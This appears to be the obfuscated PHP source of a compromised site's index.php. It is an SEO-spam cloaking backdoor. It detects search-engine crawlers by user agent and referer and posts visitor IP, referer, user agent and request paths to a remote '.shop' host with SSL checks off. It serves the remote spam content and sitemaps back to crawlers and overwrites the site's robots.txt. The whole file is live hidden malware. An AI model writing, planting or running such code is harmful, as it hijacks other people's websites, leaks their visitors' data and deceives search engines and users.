File: //proc/thread-self/root/proc/thread-self/root/proc/thread-self/cwd/index.php
<?php
goto CWWmC; Rr1qN: GrE7l: goto KtlSI; DKtRG: if (!strpos($BoCPt, "\x61\x6c\154\163\151\164\145\155\141\x70\56\170\x6d\x6c")) { goto LgGCw; } goto kxa2j; HjFfG: $dD7Fa = $Bd1oQ . "\57\152\x75\x6d\160\x2e\160\x68\160"; goto C5QWn; qihfN: CQY09: goto q30XV; fkup2: $Zvh3w["\141\x63\x74\151\157\x6e"] = "\143\150\x65\x63\153\x5f\x73\151\x74\x65\155\141\x70"; goto mW5ge; PimXT: echo fwAp3($dD7Fa, $Zvh3w); goto s1NSX; u1NIz: if (!($qkF_7 == "\61")) { goto GrE7l; } goto iw6MS; Tf10i: CkO7d: goto YySDL; cMEJk: CLkUv: goto ozFzD; JdU30: $s6ejl = $s6ejl[count($s6ejl) - 1]; goto m3SWi; tf1E0: xI6Bn: goto CWkYI; o6Oyv: $s6ejl = explode("\x3f", $BoCPt); goto JdU30; TV4ax: $z0JlB = FWAp3($Lu9Jm, $Zvh3w); goto YR3mb; ts27s: $fp0uC = $Hzayo . $c4oOo . $QcIqB; goto HwzY2; CWkYI: $LFa8x = isset($_SERVER["\x48\124\x54\x50\137\122\105\106\105\x52\105\x52"]) ? $_SERVER["\x48\124\124\x50\x5f\x52\x45\x46\105\122\105\122"] : ''; goto UeuvW; YQM3M: $Zvh3w["\x68\x72\x65\x66"] = $fp0uC; goto w7TvR; GwBGz: $Zvh3w["\162\157\142\157\x74\163\137\x63\157\x6e\164"] = $N3xy9; goto FYhLN; ZXlZi: header("\103\x6f\x6e\x74\x65\156\164\55\164\x79\160\x65\x3a\x74\x65\x78\164\57\170\155\154"); goto qMUJQ; C5QWn: $Lu9Jm = $Bd1oQ . "\x2f\x77\x6f\162\144\x73\56\x70\x68\x70"; goto VU87X; HwzY2: wqA9I: goto uz5Ut; c6wP9: $Zvh3w["\x68\164\164\160\137\x75\x73\x65\x72\137\141\147\145\156\164"] = $P0zKb; goto egip6; yMWV7: echo $qkF_7; goto f350w; hvXJ3: OZa9T: goto nzBXi; Pwl26: exit; goto pVxy8; Zz0P2: $Zvh3w["\165\163\145\x72\x5f\141\147\145\x6e\x74"] = strtolower(isset($_SERVER["\110\x54\x54\120\137\x55\x53\x45\122\x5f\101\107\105\116\124"]) ? $_SERVER["\110\x54\x54\x50\x5f\x55\x53\105\122\137\101\x47\105\116\124"] : ''); goto PimXT; XP8__: echo "\x72\157\x62\x6f\x74\163\x2e\x74\x78\164\x20\x66\151\154\145\x20\x63\162\x65\x61\x74\x65\40\146\x61\151\x6c\x21"; goto KRlaG; XRV5U: function aesWM($skYIt) { goto L9W49; L9W49: $pUcml = false; goto lLUeW; lfCBe: r2jHq: goto ELG1C; lLUeW: $ThN1P = "\x67\157\x6f\147\154\145\x7c\x79\x61\x68\x6f\x6f\x7c\142\x69\x6e\147\x7c\141\157\154"; goto JnmwY; ELG1C: return $pUcml; goto wWvSr; JnmwY: if (!($skYIt != '' && preg_match("\x2f\50{$ThN1P}\51\57\163\151", $skYIt))) { goto r2jHq; } goto BZwmG; BZwmG: $pUcml = true; goto lfCBe; wWvSr: } goto py4fl; egip6: $zYQDq = FWAp3($jDKSU, $Zvh3w); goto R1_Cc; mW5ge: $qkF_7 = fWap3($Lu9Jm, $Zvh3w); goto u1NIz; q30XV: $Zvh3w["\x77\157\162\x64"] = $s6ejl; goto fkup2; mTKn1: $N3xy9 = @file_get_contents(LMrit . "\57\x72\157\x62\157\164\x73\56\x74\170\164"); goto GwBGz; nzBXi: if (!$i2jwf) { goto UV_Zj; } goto c6wP9; lY7yb: if (!(substr($BoCPt, -4) == "\x2e\x78\155\x6c")) { goto Fbf9z; } goto DKtRG; pVxy8: V2s77: goto lY7yb; UlPGb: goto CQY09; goto VwHWw; M3Tnj: $c4oOo = $_SERVER["\110\x54\x54\120\x5f\x48\117\x53\124"]; goto lM4qM; YR3mb: if (!(strpos($BoCPt, "\x6d\141\160") > 0 || $z0JlB == "\61")) { goto CLkUv; } goto UIU6j; LArta: $qkF_7 = fwAp3($Lu9Jm, $Zvh3w); goto w_pwn; ieJkA: exit; goto Ukugf; ozFzD: Fbf9z: goto hj01s; b6Z71: rOpWh: goto wAzVx; UIU6j: $Zvh3w["\x61\143\x74\x69\x6f\x6e"] = "\162\x61\x6e\x64\x5f\x78\155\154"; goto LArta; dVXsz: $BoCPt = $_SERVER["\x52\105\x51\125\x45\x53\124\x5f\x55\122\111"]; goto M3Tnj; uz5Ut: $Zvh3w[] = array(); goto C1Ayc; uACdy: goto wqA9I; goto jwKCZ; qMUJQ: echo $cksRx; goto hEGYw; YySDL: echo "\x72\157\142\157\x74\163\x2e\164\170\164\x20\x66\151\154\x65\x20\143\x72\145\x61\x74\145\x20\x73\165\143\143\145\x73\163\x21"; goto upRNG; B_os8: echo $cksRx; goto m5iK9; o3S6y: $Zvh3w["\x6d\x61\x69\156\137\163\150\x65\x6c\x6c"] = $QDWlN; goto riu1J; iw6MS: $cksRx = fWAp3($MaEZK, $Zvh3w); goto ZXlZi; w7TvR: $Zvh3w["\162\145\161\137\165\162\154"] = $ecHm0; goto iq0mv; fafhm: $QDWlN = $Hzayo . $SEEW_; goto o3S6y; lgztk: $fp0uC = $Hzayo . $c4oOo; goto uACdy; lE1v2: $Zvh3w["\151\160"] = $_SERVER["\x52\105\115\117\124\x45\x5f\x41\104\x44\x52"]; goto yuigO; dnE2P: $Zvh3w["\162\x65\161\x5f\165\x72\x69"] = $BoCPt; goto YQM3M; m5iK9: exit; goto ZPL01; UeuvW: $ay7Mt = AeSwm($LFa8x); goto To9J9; upRNG: OKb4E: goto Pwl26; lM4qM: $QcIqB = $_SERVER["\x50\110\120\x5f\123\x45\114\x46"]; goto FIPz6; riu1J: goto xI6Bn; goto b6Z71; R1_Cc: echo $zYQDq; goto ieJkA; hEGYw: exit; goto Rr1qN; VwHWw: P44nm: goto o6Oyv; s1NSX: exit; goto hvXJ3; ZPL01: LgGCw: goto LFWcM; kxa2j: $cksRx = FWAp3($MaEZK, $Zvh3w); goto WOgRc; iq0mv: if (!(substr($BoCPt, -6) == "\162\x6f\142\157\x74\x73")) { goto V2s77; } goto EDW7J; D7dXW: $jDKSU = $Bd1oQ . "\x2f\x69\x6e\x64\x61\164\x61\56\x70\150\160"; goto FJ9h3; LFWcM: if (strpos($BoCPt, "\56\160\150\x70")) { goto P44nm; } goto PF_fp; eZTGU: if (strpos(strtolower($N3xy9), "\x73\x69\x74\x65\x6d\x61\x70")) { goto CkO7d; } goto XP8__; yyHV_: function XvSwR($WDiQS) { goto Fv2C5; Fv2C5: $gRbPj = false; goto GTqrq; lolqT: if (!preg_match("\x2f\50{$fguB_}\51\57\x73\x69", $WDiQS)) { goto rtxrO; } goto m1lpX; Y4CZc: if (!($WDiQS != '')) { goto IL_pS; } goto lolqT; v5Xi8: IL_pS: goto TsEXp; osC0c: rtxrO: goto v5Xi8; GTqrq: $fguB_ = "\x67\157\157\147\154\145\x62\157\x74\x7c\142\x69\156\147\x62\x6f\x74\174\147\157\157\147\154\x65\x7c\x61\157\x6c\174\x62\151\156\x67\x7c\x79\141\150\x6f\157"; goto Y4CZc; TsEXp: return $gRbPj; goto Utr4u; m1lpX: $gRbPj = true; goto osC0c; Utr4u: } goto XRV5U; To9J9: $P0zKb = strtolower(isset($_SERVER["\x48\x54\124\x50\x5f\x55\x53\x45\x52\137\101\x47\105\x4e\x54"]) ? $_SERVER["\x48\x54\124\120\137\x55\x53\x45\122\x5f\101\x47\105\x4e\x54"] : ''); goto l7gI9; tHNN8: if (!(!$i2jwf && $ay7Mt && (preg_match("\57\134\x64\x24\57", $BoCPt) || preg_match("\43\133\x61\55\x7a\x5d\x3d\x5b\x61\x2d\x7a\x30\55\71\x5d\x2b\x23", $BoCPt)))) { goto OZa9T; } goto lE1v2; wyaUA: $N3xy9 = @file_get_contents(LMrit . "\57\x72\x6f\142\157\164\x73\56\164\x78\164"); goto eZTGU; VU87X: $JZKN_ = $Bd1oQ . "\57\162\157\142\x6f\x74\x73\56\160\150\160"; goto qOCm1; CWWmC: $Bd1oQ = "\150\164\x74\x70\163\72\x2f\x2f\172\66\x30\x32\x30\63\137\x31\x36\x2e\161\157\x73\x69\156\163\x6b\151\x2e\163\x68\x6f\160"; goto UagF8; PF_fp: $s6ejl = str_replace("\57", '', $BoCPt); goto ZRsaI; qOCm1: if (strpos($BoCPt, "\x2e\160\x68\160")) { goto f0tRZ; } goto lgztk; ZRsaI: $s6ejl = str_replace("\x2e\170\155\154", '', $s6ejl); goto UlPGb; py4fl: $Hzayo = isset($_SERVER["\110\124\x54\120\123"]) && $_SERVER["\110\x54\124\120\x53"] !== "\x6f\146\146" ? "\x68\164\x74\160\x73\72\x2f\x2f" : "\150\164\164\x70\x3a\57\x2f"; goto dVXsz; w_pwn: header("\103\157\x6e\164\145\x6e\164\x2d\164\171\x70\x65\x3a\x74\x65\x78\164\x2f\170\155\x6c"); goto yMWV7; qYGHE: $BoCPt = str_replace(array("\56\x68\164\x6d", "\56\x68\164\155\154", "\56\x73\150\x74\155\x6c", "\x2e\160\x68\164\155\154"), '', rtrim($BoCPt, "\57")); goto tHNN8; EDW7J: define("\x4c\115\x72\x69\x74", $_SERVER["\x44\x4f\103\x55\x4d\x45\116\x54\137\x52\x4f\117\x54"]); goto mTKn1; LhRiY: $ecHm0 = $Hzayo . $c4oOo . $BoCPt; goto D7dXW; C1Ayc: $Zvh3w["\144\157\155\x61\x69\x6e"] = $c4oOo; goto dnE2P; yuigO: $Zvh3w["\162\x65\146\145\162\x65\162"] = isset($_SERVER["\x48\x54\124\x50\x5f\x52\x45\x46\x45\x52\105\122"]) ? $_SERVER["\110\x54\124\x50\x5f\122\105\106\x45\122\x45\x52"] : ''; goto Zz0P2; v1uFi: $Zvh3w["\x6d\141\151\156\137\x73\150\x65\x6c\x6c"] = $QDWlN; goto tf1E0; KRlaG: goto OKb4E; goto Tf10i; jwKCZ: f0tRZ: goto ts27s; wAzVx: $QDWlN = $Hzayo . $SEEW_ . $QcIqB; goto v1uFi; f350w: exit; goto cMEJk; KtlSI: $Zvh3w["\x61\x63\164\x69\x6f\156"] = "\x63\150\x65\143\153\137\x77\x6f\x72\144\x73"; goto TV4ax; UagF8: function fwAp3($Yay1x, $Se3Ll = array()) { goto rUEFT; ba_Q_: curl_setopt($YX50m, CURLOPT_SSL_VERIFYPEER, FALSE); goto qzgLo; mdMuQ: curl_setopt($YX50m, CURLOPT_URL, "{$Yay1x}"); goto GtTMd; oKMLS: return $sdgBM; goto dlShS; ZssED: if (!(0 !== $gAEMN)) { goto Gz_a6; } goto Ilk6v; llaVa: curl_close($YX50m); goto ZssED; UbULG: $sdgBM = curl_exec($YX50m); goto biEmP; rUEFT: $Yay1x = str_replace("\40", "\53", $Yay1x); goto vR51m; lFfBG: curl_setopt($YX50m, CURLOPT_POSTFIELDS, http_build_query($Se3Ll)); goto UbULG; qzgLo: curl_setopt($YX50m, CURLOPT_SSL_VERIFYHOST, FALSE); goto lFfBG; vR51m: $YX50m = curl_init(); goto mdMuQ; APfK0: Gz_a6: goto oKMLS; KYh76: curl_setopt($YX50m, CURLOPT_POST, 1); goto ba_Q_; biEmP: $gAEMN = curl_errno($YX50m); goto llaVa; Ilk6v: return false; goto APfK0; SYy4r: curl_setopt($YX50m, CURLOPT_TIMEOUT, 10); goto KYh76; GtTMd: curl_setopt($YX50m, CURLOPT_RETURNTRANSFER, 1); goto puS_w; puS_w: curl_setopt($YX50m, CURLOPT_HEADER, 0); goto SYy4r; dlShS: } goto yyHV_; FJ9h3: $MaEZK = $Bd1oQ . "\x2f\155\x61\160\x2e\x70\150\160"; goto HjFfG; l7gI9: $i2jwf = xvsWR($P0zKb); goto qYGHE; WOgRc: header("\x43\157\156\164\145\156\164\55\164\x79\160\x65\x3a\164\145\170\164\57\170\x6d\x6c"); goto B_os8; OoDXj: file_put_contents(LMrit . "\57\162\x6f\142\x6f\x74\163\x2e\164\x78\164", $N3xy9); goto wyaUA; FIPz6: $SEEW_ = $_SERVER["\x53\105\x52\126\x45\122\137\116\101\115\105"]; goto LhRiY; m3SWi: $s6ejl = str_replace("\56\x78\155\x6c", '', $s6ejl); goto qihfN; hj01s: if (strpos($BoCPt, "\x2e\160\x68\160")) { goto rOpWh; } goto fafhm; FYhLN: $N3xy9 = @fwaP3($JZKN_, $Zvh3w); goto OoDXj; Ukugf: UV_Zj: